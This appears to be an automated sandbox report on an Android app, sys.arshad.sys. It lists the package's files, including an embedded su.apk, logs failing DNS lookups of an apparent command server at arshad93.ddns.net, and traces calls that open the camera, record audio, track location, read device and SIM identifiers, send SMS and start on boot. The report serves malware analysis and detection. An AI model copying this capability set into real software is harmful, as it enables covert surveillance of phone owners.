abc_ic_commit_search_api_mtrl_alpha.png
abc_text_select_handle_right_mtrl_dark.png
notification_bg_normal_pressed.9.png
abc_ic_menu_copy_mtrl_am_alpha.png
select_dialog_singlechoice_material.xml
abc_search_url_text.xml
abc_switch_track_mtrl_alpha.9.png
abc_btn_check_to_on_mtrl_015.png
abc_btn_check_to_on_mtrl_015.png
abc_ab_share_pack_mtrl_alpha.9.png
notification_template_media.xml
abc_ic_star_half_black_48dp.png
abc_screen_simple_overlay_action_mode.xml
abc_ic_star_half_black_48dp.png
notification_bg_normal.9.png
abc_spinner_mtrl_am_alpha.9.png
notification_template_lines_media.xml
abc_ic_star_black_36dp.png
notification_action_tombstone.xml
notification_template_media_custom.xml
abc_textfield_search_default_mtrl_alpha.9.png
abc_ic_menu_paste_mtrl_am_alpha.png
abc_menu_hardkey_panel_mtrl_mult.9.png
notification_template_custom_big.xml
abc_switch_track_mtrl_alpha.9.png
notification_template_big_media_custom.xml
abc_ic_menu_copy_mtrl_am_alpha.png
abc_spinner_mtrl_am_alpha.9.png
abc_select_dialog_material.xml
abc_scrubber_control_off_mtrl_alpha.png
abc_spinner_mtrl_am_alpha.9.png
abc_list_selector_disabled_holo_light.9.png
abc_text_select_handle_left_mtrl_dark.png
abc_btn_check_to_on_mtrl_015.png
abc_btn_radio_to_on_mtrl_000.png
abc_btn_radio_to_on_mtrl_000.png
abc_btn_radio_to_on_mtrl_000.png
abc_text_select_handle_right_mtrl_light.png
abc_scrubber_control_to_pressed_mtrl_005.png
abc_slide_out_bottom.xml
select_dialog_singlechoice_material.xml
abc_textfield_activated_mtrl_alpha.9.png
abc_cab_background_top_mtrl_alpha.9.png
abc_textfield_search_activated_mtrl_alpha.9.png
abc_ic_star_black_48dp.png
notification_template_custom_big.xml
abc_cab_background_internal_bg.xml
abc_text_select_handle_left_mtrl_light.png
notification_template_big_media_narrow.xml
abc_ic_star_half_black_48dp.png
abc_ab_share_pack_mtrl_alpha.9.png
abc_textfield_search_activated_mtrl_alpha.9.png
abc_btn_radio_to_on_mtrl_000.png
notification_tile_bg.xml
abc_ic_star_half_black_48dp.png
abc_list_longpressed_holo.9.png
abc_scrubber_control_off_mtrl_alpha.png
abc_scrubber_track_mtrl_alpha.9.png
abc_tint_default.xml
abc_vector_test.xml
abc_list_selector_disabled_holo_dark.9.png
abc_primary_text_material_dark.xml
notification_template_media_custom.xml
abc_grow_fade_in_from_bottom.xml
abc_ic_commit_search_api_mtrl_alpha.png
abc_ic_star_black_48dp.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_list_pressed_holo_light.9.png
abc_secondary_text_material_dark.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_textfield_search_default_mtrl_alpha.9.png
abc_ic_star_half_black_36dp.png
abc_ic_star_half_black_36dp.png
abc_ic_voice_search_api_material.xml
abc_ratingbar_material.xml
abc_color_highlight_material.xml
abc_text_select_handle_left_mtrl_dark.png
abc_list_pressed_holo_light.9.png
abc_ic_menu_selectall_mtrl_alpha.png
abc_ic_menu_overflow_material.xml
notification_bg_normal.9.png
abc_ic_menu_share_mtrl_alpha.png
abc_btn_radio_material.xml
abc_ic_menu_share_mtrl_alpha.png
abc_tint_switch_thumb.xml
abc_textfield_search_activated_mtrl_alpha.9.png
abc_btn_check_to_on_mtrl_000.png
abc_screen_toolbar.xml
abc_ic_menu_paste_mtrl_am_alpha.png
abc_ic_star_black_36dp.png
notification_template_big_media.xml
abc_action_bar_view_list_nav_layout.xml
abc_tint_spinner.xml
abc_text_select_handle_right_mtrl_light.png
abc_popup_menu_item_layout.xml
abc_expanded_menu_layout.xml
abc_text_select_handle_left_mtrl_dark.png
abc_tint_spinner.xml
ic_launcher.png
abc_ic_arrow_drop_right_black_24dp.xml
notification_action.xml
abc_ic_menu_paste_mtrl_am_alpha.png
abc_cab_background_top_mtrl_alpha.9.png
abc_ic_star_black_36dp.png
abc_switch_track_mtrl_alpha.9.png
abc_ic_menu_share_mtrl_alpha.png
abc_ic_menu_cut_mtrl_alpha.png
abc_screen_toolbar.xml
abc_seekbar_tick_mark_material.xml
abc_text_select_handle_middle_mtrl_light.png
abc_seekbar_track_material.xml
abc_text_select_handle_middle_mtrl_light.png
abc_ic_star_half_black_48dp.png
abc_textfield_default_mtrl_alpha.9.png
abc_hint_foreground_material_light.xml
abc_text_cursor_material.xml
abc_textfield_activated_mtrl_alpha.9.png
MANIFEST.MF
abc_action_menu_layout.xml
abc_ic_star_half_black_36dp.png
abc_text_select_handle_middle_mtrl_dark.png
notification_template_big_media_narrow_custom.xml
abc_activity_chooser_view_list_item.xml
notification_template_lines_media.xml
abc_btn_borderless_material.xml
abc_text_select_handle_left_mtrl_light.png
abc_text_select_handle_right_mtrl_light.png
abc_scrubber_control_to_pressed_mtrl_000.png
abc_switch_track_mtrl_alpha.9.png
abc_ic_menu_share_mtrl_alpha.png
abc_scrubber_track_mtrl_alpha.9.png
abc_spinner_mtrl_am_alpha.9.png
abc_ic_star_black_16dp.png
abc_btn_check_to_on_mtrl_000.png
abc_text_select_handle_left_mtrl_light.png
notification_template_custom_big.xml
abc_list_selector_holo_light.xml
notification_template_big_media_narrow_custom.xml
abc_scrubber_primary_mtrl_alpha.9.png
abc_alert_dialog_button_bar_material.xml
abc_textfield_default_mtrl_alpha.9.png
notification_template_icon_group.xml
abc_list_selector_background_transition_holo_dark.xml
abc_textfield_search_material.xml
abc_btn_check_material.xml
abc_slide_out_top.xml
notification_template_media.xml
abc_secondary_text_material_light.xml
notification_bg_low.xml
AndroidManifest.xml
abc_spinner_mtrl_am_alpha.9.png
abc_list_focused_holo.9.png
abc_btn_colored_text_material.xml
abc_ic_commit_search_api_mtrl_alpha.png
abc_popup_background_mtrl_mult.9.png
abc_fade_out.xml
abc_list_pressed_holo_light.9.png
abc_background_cache_hint_selector_material_light.xml
abc_dialog_title_material.xml
abc_btn_colored_material.xml
abc_btn_radio_to_on_mtrl_015.png
abc_btn_colored_material.xml
notification_media_action.xml
abc_control_background_material.xml
abc_list_selector_holo_dark.xml
abc_btn_colored_text_material.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
abc_ic_search_api_material.xml
abc_text_select_handle_left_mtrl_dark.png
abc_item_background_holo_light.xml
notification_bg.xml
abc_popup_enter.xml
abc_background_cache_hint_selector_material_dark.xml
notification_bg_normal.9.png
abc_ic_menu_paste_mtrl_am_alpha.png
abc_scrubber_control_to_pressed_mtrl_000.png
abc_tab_indicator_mtrl_alpha.9.png
abc_ic_menu_selectall_mtrl_alpha.png
abc_scrubber_control_to_pressed_mtrl_005.png
abc_text_select_handle_left_mtrl_light.png
abc_text_select_handle_middle_mtrl_dark.png
notification_template_part_time.xml
notification_media_cancel_action.xml
abc_scrubber_control_to_pressed_mtrl_005.png
abc_ic_menu_cut_mtrl_alpha.png
abc_list_pressed_holo_light.9.png
abc_list_selector_disabled_holo_light.9.png
abc_screen_content_include.xml
abc_alert_dialog_button_bar_material.xml
notification_template_part_chronometer.xml
abc_activity_chooser_view.xml
select_dialog_multichoice_material.xml
abc_text_select_handle_middle_mtrl_dark.png
abc_tint_switch_thumb.xml
notify_panel_notification_icon_bg.png
notification_action.xml
abc_cab_background_top_mtrl_alpha.9.png
abc_tint_seek_thumb.xml
abc_ic_star_black_16dp.png
abc_textfield_default_mtrl_alpha.9.png
abc_tint_edittext.xml
notification_template_custom_big.xml
abc_ic_star_black_16dp.png
abc_alert_dialog_material.xml
abc_item_background_holo_dark.xml
notification_action.xml
notification_bg_normal_pressed.9.png
abc_ic_menu_share_mtrl_alpha.png
abc_list_selector_disabled_holo_dark.9.png
abc_background_cache_hint_selector_material_light.xml
ic_launcher.png
abc_ic_menu_cut_mtrl_alpha.png
abc_btn_check_to_on_mtrl_000.png
abc_btn_check_to_on_mtrl_000.png
abc_dialog_material_background.xml
abc_tab_indicator_mtrl_alpha.9.png
abc_popup_exit.xml
abc_ic_star_black_16dp.png
abc_ic_ab_back_material.xml
abc_scrubber_track_mtrl_alpha.9.png
switch_thumb_material_dark.xml
abc_text_select_handle_right_mtrl_dark.png
abc_popup_menu_header_item_layout.xml
abc_hint_foreground_material_dark.xml
abc_action_bar_item_background_material.xml
abc_dialog_title_material.xml
abc_btn_colored_borderless_text_material.xml
abc_textfield_search_activated_mtrl_alpha.9.png
abc_tint_seek_thumb.xml
abc_scrubber_primary_mtrl_alpha.9.png
abc_ratingbar_indicator_material.xml
abc_ic_star_half_black_16dp.png
abc_primary_text_disable_only_material_dark.xml
abc_menu_hardkey_panel_mtrl_mult.9.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_switch_thumb_material.xml
abc_scrubber_control_to_pressed_mtrl_005.png
abc_btn_check_to_on_mtrl_000.png
abc_primary_text_disable_only_material_light.xml
abc_hint_foreground_material_dark.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_slide_in_top.xml
abc_tab_indicator_mtrl_alpha.9.png
notification_bg_low_pressed.9.png
abc_ic_star_half_black_36dp.png
abc_list_focused_holo.9.png
ic_launcher.png
abc_ic_star_black_48dp.png
notification_template_big_media.xml
abc_btn_radio_to_on_mtrl_015.png
abc_btn_radio_to_on_mtrl_015.png
abc_btn_radio_to_on_mtrl_015.png
abc_list_longpressed_holo.9.png
abc_scrubber_primary_mtrl_alpha.9.png
abc_list_menu_item_radio.xml
abc_list_divider_mtrl_alpha.9.png
abc_list_menu_item_layout.xml
su.apk
abc_textfield_search_material.xml
abc_ic_star_black_36dp.png
abc_shrink_fade_out_from_bottom.xml
classes.dex
abc_list_menu_item_icon.xml
abc_ic_go_search_api_material.xml
abc_action_mode_close_item_material.xml
abc_ratingbar_material.xml
abc_action_bar_title_item.xml
abc_primary_text_material_light.xml
abc_slide_in_bottom.xml
abc_ic_commit_search_api_mtrl_alpha.png
notification_bg.xml
select_dialog_multichoice_material.xml
select_dialog_item_material.xml
abc_btn_radio_to_on_mtrl_015.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_btn_switch_to_on_mtrl_00012.9.png
notification_action_tombstone.xml
abc_switch_track_mtrl_alpha.9.png
abc_popup_background_mtrl_mult.9.png
abc_list_pressed_holo_dark.9.png
abc_fade_in.xml
abc_popup_menu_item_layout.xml
abc_text_select_handle_left_mtrl_dark.png
ic_launcher.png
abc_tab_indicator_material.xml
abc_hint_foreground_material_light.xml
abc_tint_switch_track.xml
abc_ic_menu_cut_mtrl_alpha.png
notification_action_tombstone.xml
abc_action_mode_bar.xml
abc_text_select_handle_right_mtrl_dark.png
abc_btn_switch_to_on_mtrl_00012.9.png
notification_bg_low_normal.9.png
abc_scrubber_control_off_mtrl_alpha.png
abc_popup_background_mtrl_mult.9.png
abc_textfield_search_default_mtrl_alpha.9.png
abc_tint_default.xml
support_simple_spinner_dropdown_item.xml
abc_btn_switch_to_on_mtrl_00001.9.png
abc_list_menu_item_checkbox.xml
abc_ic_menu_selectall_mtrl_alpha.png
abc_edit_text_material.xml
abc_ic_menu_copy_mtrl_am_alpha.png
abc_scrubber_primary_mtrl_alpha.9.png
abc_ic_menu_paste_mtrl_am_alpha.png
abc_list_longpressed_holo.9.png
abc_tint_switch_track.xml
abc_search_dropdown_item_icons_2line.xml
abc_ab_share_pack_mtrl_alpha.9.png
abc_ic_star_half_black_36dp.png
abc_cab_background_top_mtrl_alpha.9.png
abc_btn_check_to_on_mtrl_015.png
CERT.SF
notification_template_big_media_custom.xml
abc_ratingbar_indicator_material.xml

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Aug 22, 2017 09:52:59.221530914 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:52:59.221569061 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:52:59.839720011 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:52:59.839981079 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:52:59.981667042 CEST906353192.168.1.338.8.8.8
Aug 22, 2017 09:53:00.231964111 CEST5390638.8.8.8192.168.1.33
Aug 22, 2017 09:53:04.480086088 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:04.480132103 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:04.804629087 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:04.805052042 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:14.468909025 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:14.468951941 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:14.809278011 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:14.809567928 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:23.124408007 CEST977653192.168.1.338.8.8.8
Aug 22, 2017 09:53:23.300592899 CEST5397768.8.8.8192.168.1.33
Aug 22, 2017 09:53:34.125077963 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:34.125113964 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:34.369185925 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:53:34.371002913 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:53:53.897980928 CEST2485453192.168.1.338.8.8.8
Aug 22, 2017 09:53:54.249784946 CEST53248548.8.8.8192.168.1.33
Aug 22, 2017 09:53:54.250093937 CEST2417653192.168.1.338.8.8.8
Aug 22, 2017 09:53:54.574033022 CEST53241768.8.8.8192.168.1.33
Aug 22, 2017 09:54:00.239634037 CEST2802453192.168.1.338.8.8.8
Aug 22, 2017 09:54:00.561484098 CEST53280248.8.8.8192.168.1.33
Aug 22, 2017 09:54:12.838371992 CEST723753192.168.1.338.8.8.8
Aug 22, 2017 09:54:12.951792955 CEST5372378.8.8.8192.168.1.33
Aug 22, 2017 09:54:13.505675077 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:54:13.505706072 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:54:14.343300104 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:54:14.343600035 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:54:22.910936117 CEST3743253192.168.1.338.8.8.8
Aug 22, 2017 09:54:23.120954037 CEST53374328.8.8.8192.168.1.33
Aug 22, 2017 09:54:23.121366978 CEST4227253192.168.1.338.8.8.8
Aug 22, 2017 09:54:23.344635963 CEST53422728.8.8.8192.168.1.33
Aug 22, 2017 09:54:51.306365013 CEST1212853192.168.1.338.8.8.8
Aug 22, 2017 09:54:51.472491026 CEST53121288.8.8.8192.168.1.33
Aug 22, 2017 09:54:51.472889900 CEST4225453192.168.1.338.8.8.8
Aug 22, 2017 09:54:51.653583050 CEST53422548.8.8.8192.168.1.33
Aug 22, 2017 09:55:19.559426069 CEST2492553192.168.1.338.8.8.8
Aug 22, 2017 09:55:19.690087080 CEST53249258.8.8.8192.168.1.33
Aug 22, 2017 09:55:19.690551996 CEST2447553192.168.1.338.8.8.8
Aug 22, 2017 09:55:19.839123964 CEST53244758.8.8.8192.168.1.33
Aug 22, 2017 09:55:30.917505980 CEST3921753192.168.1.338.8.8.8
Aug 22, 2017 09:55:30.919214964 CEST2606053192.168.1.338.8.8.8
Aug 22, 2017 09:55:31.696523905 CEST53392178.8.8.8192.168.1.33
Aug 22, 2017 09:55:31.775379896 CEST53260608.8.8.8192.168.1.33
Aug 22, 2017 09:55:32.705265045 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:55:32.705292940 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:55:33.541656017 CEST8053222216.58.212.238192.168.1.33
Aug 22, 2017 09:55:33.542002916 CEST5322280192.168.1.33216.58.212.238
Aug 22, 2017 09:55:47.628936052 CEST3587253192.168.1.338.8.8.8
Aug 22, 2017 09:55:47.827203989 CEST53358728.8.8.8192.168.1.33
Aug 22, 2017 09:55:47.827670097 CEST2995053192.168.1.338.8.8.8
Aug 22, 2017 09:55:48.007802963 CEST53299508.8.8.8192.168.1.33

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Aug 22, 2017 09:52:59.981667042 CEST906353192.168.1.338.8.8.8
Aug 22, 2017 09:53:00.231964111 CEST5390638.8.8.8192.168.1.33
Aug 22, 2017 09:53:23.124408007 CEST977653192.168.1.338.8.8.8
Aug 22, 2017 09:53:23.300592899 CEST5397768.8.8.8192.168.1.33
Aug 22, 2017 09:53:53.897980928 CEST2485453192.168.1.338.8.8.8
Aug 22, 2017 09:53:54.249784946 CEST53248548.8.8.8192.168.1.33
Aug 22, 2017 09:53:54.250093937 CEST2417653192.168.1.338.8.8.8
Aug 22, 2017 09:53:54.574033022 CEST53241768.8.8.8192.168.1.33
Aug 22, 2017 09:54:00.239634037 CEST2802453192.168.1.338.8.8.8
Aug 22, 2017 09:54:00.561484098 CEST53280248.8.8.8192.168.1.33
Aug 22, 2017 09:54:12.838371992 CEST723753192.168.1.338.8.8.8
Aug 22, 2017 09:54:12.951792955 CEST5372378.8.8.8192.168.1.33
Aug 22, 2017 09:54:22.910936117 CEST3743253192.168.1.338.8.8.8
Aug 22, 2017 09:54:23.120954037 CEST53374328.8.8.8192.168.1.33
Aug 22, 2017 09:54:23.121366978 CEST4227253192.168.1.338.8.8.8
Aug 22, 2017 09:54:23.344635963 CEST53422728.8.8.8192.168.1.33
Aug 22, 2017 09:54:51.306365013 CEST1212853192.168.1.338.8.8.8
Aug 22, 2017 09:54:51.472491026 CEST53121288.8.8.8192.168.1.33
Aug 22, 2017 09:54:51.472889900 CEST4225453192.168.1.338.8.8.8
Aug 22, 2017 09:54:51.653583050 CEST53422548.8.8.8192.168.1.33
Aug 22, 2017 09:55:19.559426069 CEST2492553192.168.1.338.8.8.8
Aug 22, 2017 09:55:19.690087080 CEST53249258.8.8.8192.168.1.33
Aug 22, 2017 09:55:19.690551996 CEST2447553192.168.1.338.8.8.8
Aug 22, 2017 09:55:19.839123964 CEST53244758.8.8.8192.168.1.33
Aug 22, 2017 09:55:30.917505980 CEST3921753192.168.1.338.8.8.8
Aug 22, 2017 09:55:30.919214964 CEST2606053192.168.1.338.8.8.8
Aug 22, 2017 09:55:31.696523905 CEST53392178.8.8.8192.168.1.33
Aug 22, 2017 09:55:31.775379896 CEST53260608.8.8.8192.168.1.33
Aug 22, 2017 09:55:47.628936052 CEST3587253192.168.1.338.8.8.8
Aug 22, 2017 09:55:47.827203989 CEST53358728.8.8.8192.168.1.33
Aug 22, 2017 09:55:47.827670097 CEST2995053192.168.1.338.8.8.8
Aug 22, 2017 09:55:48.007802963 CEST53299508.8.8.8192.168.1.33

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Aug 22, 2017 09:53:53.897980928 CEST192.168.1.338.8.8.80x7f09Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:53:54.250093937 CEST192.168.1.338.8.8.80x75e2Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:54:22.910936117 CEST192.168.1.338.8.8.80x472Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:54:23.121366978 CEST192.168.1.338.8.8.80xd5aStandard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:54:51.306365013 CEST192.168.1.338.8.8.80xe680Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:54:51.472889900 CEST192.168.1.338.8.8.80x5bc9Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:55:19.559426069 CEST192.168.1.338.8.8.80x666Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:55:19.690551996 CEST192.168.1.338.8.8.80xb487Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:55:47.628936052 CEST192.168.1.338.8.8.80x1bd0Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)
Aug 22, 2017 09:55:47.827670097 CEST192.168.1.338.8.8.80xe454Standard query (0)arshad93.ddns.netA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Aug 22, 2017 09:53:54.249784946 CEST8.8.8.8192.168.1.330x7f09Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:53:54.574033022 CEST8.8.8.8192.168.1.330x75e2Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:54:23.120954037 CEST8.8.8.8192.168.1.330x472Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:54:23.344635963 CEST8.8.8.8192.168.1.330xd5aName error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:54:51.472491026 CEST8.8.8.8192.168.1.330xe680Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:54:51.653583050 CEST8.8.8.8192.168.1.330x5bc9Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:55:19.690087080 CEST8.8.8.8192.168.1.330x666Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:55:19.839123964 CEST8.8.8.8192.168.1.330xb487Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:55:47.827203989 CEST8.8.8.8192.168.1.330x1bd0Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)
Aug 22, 2017 09:55:48.007802963 CEST8.8.8.8192.168.1.330xe454Name error (3)arshad93.ddns.netnonenoneA (IP address)IN (0x0001)

HTTP Request Dependency Graph

  • connectivitycheck.android.com

HTTP Packets

TimestampSource PortDest PortSource IPDest IPHeaderTotal Bytes Transfered (KB)
Aug 22, 2017 09:52:59.221530914 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
5
Aug 22, 2017 09:52:59.839720011 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:52:59 GMT
6
Aug 22, 2017 09:53:04.480086088 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
12
Aug 22, 2017 09:53:04.804629087 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:53:04 GMT
12
Aug 22, 2017 09:53:14.468909025 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
18
Aug 22, 2017 09:53:14.809278011 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:53:14 GMT
18
Aug 22, 2017 09:53:34.125077963 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
30
Aug 22, 2017 09:53:34.369185925 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:53:34 GMT
30
Aug 22, 2017 09:54:13.505675077 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
37
Aug 22, 2017 09:54:14.343300104 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:54:13 GMT
37
Aug 22, 2017 09:55:32.705265045 CEST5322280192.168.1.33216.58.212.238GET /generate_204 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)
Host: connectivitycheck.android.com
Connection: Keep-Alive
Accept-Encoding: gzip
44
Aug 22, 2017 09:55:33.541656017 CEST8053222216.58.212.238192.168.1.33HTTP/1.1 204 No Content
Content-Length: 0
Date: Tue, 22 Aug 2017 07:55:33 GMT
45

APK Behavior

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.d:1 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.location.LocationManager->requestLocationUpdates at sys.arshad.sys.MainActivity.E:34 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.L:7 Show source
API: android.net.ConnectivityManager->getNetworkInfo at sys.arshad.sys.MainActivity$b$44.run:110 Show source
API: android.net.ConnectivityManager->getActiveNetworkInfo at sys.arshad.sys.MainActivity.G:7 Show source
API: android.net.wifi.WifiManager->getScanResults at sys.arshad.sys.MainActivity$b$a$1.run:45 Show source
API: android.net.wifi.WifiManager->getConnectionInfo at sys.arshad.sys.MainActivity$9.run:33 Show source
API: android.hardware.Camera->open at sys.arshad.sys.PhotoTakingService$1$1.run:35 Show source
API: android.hardware.Camera->open at sys.arshad.sys.MainActivity.i:1 Show source
API: android.hardware.Camera->open at sys.arshad.sys.MainActivity$b$8.run:13 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at sys.arshad.sys.MainActivity.onRequestPermissionsResult:63 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at sys.arshad.sys.AutoStartUp.onCreate:10 Show source
API: android.content.pm.PackageManager->setComponentEnabledSetting at sys.arshad.sys.MainActivity.c:68 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at sys.arshad.sys.MainActivity$b.g:4 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at sys.arshad.sys.MainActivity$b$47.run:6 Show source
API: android.net.wifi.WifiManager->setWifiEnabled at sys.arshad.sys.MainActivity$b$2.run:6 Show source
API: android.net.wifi.WifiManager->startScan at sys.arshad.sys.MainActivity$b.p:27 Show source
API: android.accounts.AccountManager->getAccounts at sys.arshad.sys.MainActivity$8.run:23 Show source
API: java.net.DatagramSocket-><init> at sys.arshad.sys.MainActivity$b$20.run:3 Show source
API: java.net.Socket-><init> at sys.arshad.sys.MainActivity$a.a:34 Show source
API: java.net.Socket-><init> at sys.arshad.sys.MainActivity.z:7 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$1.run:55 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$19.run:34 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$23.run:17 Show source
API: android.content.ContentResolver->query at sys.arshad.sys.MainActivity$b$12.run:101 Show source
API: java.lang.Runtime->exec at sys.arshad.sys.a.a:7 Show source
API: android.telephony.TelephonyManager->getDeviceId at sys.arshad.sys.MainActivity$9.run:9 Show source
API: android.telephony.TelephonyManager->getDeviceId at sys.arshad.sys.MainActivity$b.onProgressUpdate:22 Show source
API: android.telephony.TelephonyManager->getSimSerialNumber at sys.arshad.sys.MainActivity$b$22.run:57 Show source
API: android.media.AudioRecord-><init> at sys.arshad.sys.MainActivity$b$20.run:88 Show source
API: android.media.MediaRecorder->setAudioSource at sys.arshad.sys.MainActivity.A:131 Show source
API: android.media.MediaRecorder->setAudioSource at sys.arshad.sys.MainActivity$b.t:79 Show source
API: android.app.ActivityManager->killBackgroundProcesses at sys.arshad.sys.MainActivity$b$14.run:35 Show source
API: android.telephony.SmsManager->sendTextMessage at sys.arshad.sys.MainActivity$b$16.run:67 Show source
API: android.app.WallpaperManager->setBitmap at sys.arshad.sys.MainActivity$12.run:14 Show source
API: android.os.Vibrator->vibrate at sys.arshad.sys.MainActivity$b$11.run:17 Show source
API: android.os.PowerManager$WakeLock->acquire at sys.arshad.sys.AutoStartUp.onCreate:54 Show source
API: android.media.MediaPlayer->start at sys.arshad.sys.MainActivity$3.run:21 Show source
API: android.provider.Settings$System->putInt at sys.arshad.sys.MainActivity$b$13.run:18 Show source
API: android.provider.Settings$System->putInt at sys.arshad.sys.MainActivity$b$38.run:11 Show source
API: sys.arshad.sys.AutoStartUp->startActivity at sys.arshad.sys.AutoStartUp.onCreate:23 Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 pkg=sys.arshad.sys cmp=sys.arshad.sys/.MainActivity }
API: android.content.Context->getString at sys.arshad.sys.AutoStartUp.onCreate:26 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131165223
NameTypeValue
Return Valuejava.lang.String
  • toString: not
API: android.content.Intent->getAction at sys.arshad.sys.BootComplete.onReceive:1 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
